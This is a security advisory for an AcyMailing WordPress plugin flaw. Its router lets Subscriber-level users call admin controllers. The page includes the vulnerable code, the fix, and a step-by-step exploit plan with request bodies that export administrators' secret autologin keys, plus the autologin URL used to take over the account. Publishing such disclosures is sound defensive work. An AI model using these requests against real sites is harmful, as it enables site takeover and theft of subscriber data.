AcyMailing <= 10.8.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation via 'acymailing_router'
Description
The AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 10.8.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify privileged AcyMailing configuration, export subscriber secret keys, and chain these actions into administrator account takeover when a target administrator email address is known.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v10.9.0
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate privilege escalation and account takeover in AcyMailing versions 10.8.2 and below. ### 1. Vulnerability Summary The `acymailing` plugin registers a centralized AJAX router, `acymailing_router`, which fails to implement any capability che…
Show full research plan
This research plan outlines the steps required to demonstrate privilege escalation and account takeover in AcyMailing versions 10.8.2 and below.
1. Vulnerability Summary
The acymailing plugin registers a centralized AJAX router, acymailing_router, which fails to implement any capability checks (e.g., current_user_can()) or nonce verification. While the router calls auth_redirect(), this only ensures the user is authenticated (at any level, including Subscriber) but does not verify they have administrative permissions. This allows a low-privileged user to invoke high-privileged controller methods to modify configuration or export sensitive user data, including "secret keys" used for automated login.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
acymailing_router - Vulnerable Parameters:
ctrl(specifies the controller) andtask(specifies the method). - Authentication: Required (Subscriber or higher).
- Preconditions: A known target administrator's email address or user ID.
3. Code Flow
- Entry Point: The
AcyMailing\WpInit\Router::__constructregisterswp_ajax_acymailing_routerpointing to theroutermethod. - Authorization Failure: Inside
AcyMailing\WpInit\Router::router(bool $front = false):- Line 158:
if (!$front) { auth_redirect(); }is called. This only checks if the user is logged in. - The code then determines the controller via
$ctrl = acym_getVar('cmd', 'ctrl', '');(Line 183). - Line 222: The controller class is dynamically instantiated:
$controllerNamespace = 'AcyMailing\\'.$subNamespace.'Controllers\\'.ucfirst($ctrl).'Controller';. - The code proceeds to invoke the controller without checking if the current user should have access to the
back(admin) namespace controllers.
- Line 158:
- Sink: Methods within
AcyMailing\Controllers\UsersControllerorAcyMailing\Controllers\ConfigurationControllerare executed, allowing data export or setting modification.
4. Nonce Acquisition Strategy
The router method in WpInit/Router.php does not call check_ajax_referer or wp_verify_nonce. Therefore, the exploitation of this specific endpoint does not require a nonce.
Note: If specific controller tasks (invoked via the router) happen to check for a nonce independently, it can be found in the global JS variable acym_helper or acymailing localized by the plugin on admin pages accessible to subscribers (like the dashboard if enabled).
5. Exploitation Strategy
Step 1: Export Admin Secret Key
The attacker will use the UsersController to export user data. AcyMailing allows exporting user lists to CSV, which includes the key field.
- Request Type: POST
- URL:
http://vulnerable-site.com/wp-admin/admin-ajax.php - Body (URL-encoded):
action=acymailing_router &ctrl=users &task=export &export_type=csv &columns[]=email &columns[]=key &columns[]=id - Expected Response: A CSV file or a direct download link containing the email addresses and the secret
keyfor all users, including the administrator.
Step 2: Account Takeover via Autologin
Once the administrator's key and id (or email) are obtained, the attacker uses the autologin feature registered in Router.php.
- Target URL:
http://vulnerable-site.com/index.php?acy_user=[ADMIN_ID]&acy_key=[SECRET_KEY] - Mechanism: The
Router::autologinmethod (invoked on theinithook) checks these parameters and authenticates the session as the user associated with that key.
6. Test Data Setup
- Users:
- Create an Administrator user (e.g.,
admin@example.com). - Create a Subscriber user (e.g.,
attacker@example.com).
- Create an Administrator user (e.g.,
- Plugin State: Ensure AcyMailing 10.8.2 is installed and activated.
- Data: Ensure the AcyMailing user table contains the administrator's record (the plugin usually syncs WP users to its own table automatically).
7. Expected Results
- The AJAX request to
ctrl=users&task=exportshould return a 200 OK response with the CSV content, despite the requester being a Subscriber. - The CSV content must contain a column for
key. - Navigating to the
autologinURL should result in the attacker being redirected to the dashboard as the Administrator.
8. Verification Steps
- Check Role: After the
autologinredirect, usewp user get $(wp user self --field=ID) --field=rolesto verify the current session is anadministrator. - Verify Configuration Access: Attempt to access the AcyMailing configuration page via the UI to confirm full administrative access.
- Database Check: Confirm the
keyused matches thekeyin the{prefix}_acym_usertable:wp db query "SELECT email, \key` FROM wp_acym_user WHERE cms_id = 1"`
9. Alternative Approaches
If the export task is restricted within the controller, attempt to use the UsersController::edit task to read the admin's profile:
- Request:
action=acymailing_router&ctrl=users&task=edit&id=[ADMIN_ID] - Payload: Look for the secret key in the HTML response/form fields.
If configuration modification is the goal:
- Task:
ctrl=configuration&task=save - Payload:
&config[sender_email]=attacker@example.com&config[allow_unsub]=0(demonstrating unauthorized config modification).
Summary
The AcyMailing plugin (<= 10.8.2) fails to perform adequate authorization checks within its centralized AJAX router, 'acymailing_router'. While the router ensures a user is authenticated, it does not verify administrative capabilities, allowing low-privileged users (like Subscribers) to execute administrative controller methods. This can lead to sensitive data exposure, including administrator 'secret keys' used for automated login, resulting in full account takeover.
Vulnerable Code
// AcyMailing/WpInit/Router.php:157 public function router(bool $front = false): void { displayFreeTrialMessage(); if (!$front) { auth_redirect(); } // ... // AcyMailing/WpInit/Router.php:222 $this->deactivateHookAdminFooter(); $subNamespace = $front ? 'Front' : ''; $controllerNamespace = 'AcyMailing\\'.$subNamespace.'Controllers\\'.ucfirst($ctrl).'Controller'; if (!class_exists($controllerNamespace)) { echo acym_translation('ACYM_PAGE_NOT_FOUND').': '.$ctrl; return; } $controller = new $controllerNamespace(); $controller->call($task);
Security Fix
@@ -158,6 +158,10 @@ if (!$front) { auth_redirect(); + + if (!acym_isAdmin()) { + wp_die(acym_translation('ACYM_NOT_ALLOWED')); + } } if (file_exists(ACYM_FOLDER.'update.php')) {
Exploit Outline
1. Authenticate to the WordPress site as a user with Subscriber-level privileges. 2. Submit a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'acymailing_router'. 3. Configure the 'ctrl' parameter to 'users' and the 'task' parameter to 'export' to trigger the user data export functionality. 4. Include the 'columns[]' parameter set to 'email' and 'key' (and 'id') to ensure the secret autologin keys are included in the generated CSV. 5. Download the CSV output and identify the administrator's account ID and secret key. 6. Navigate to the site's autologin URL (e.g., /?acy_user=[ADMIN_ID]&acy_key=[SECRET_KEY]) to gain full administrative access to the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.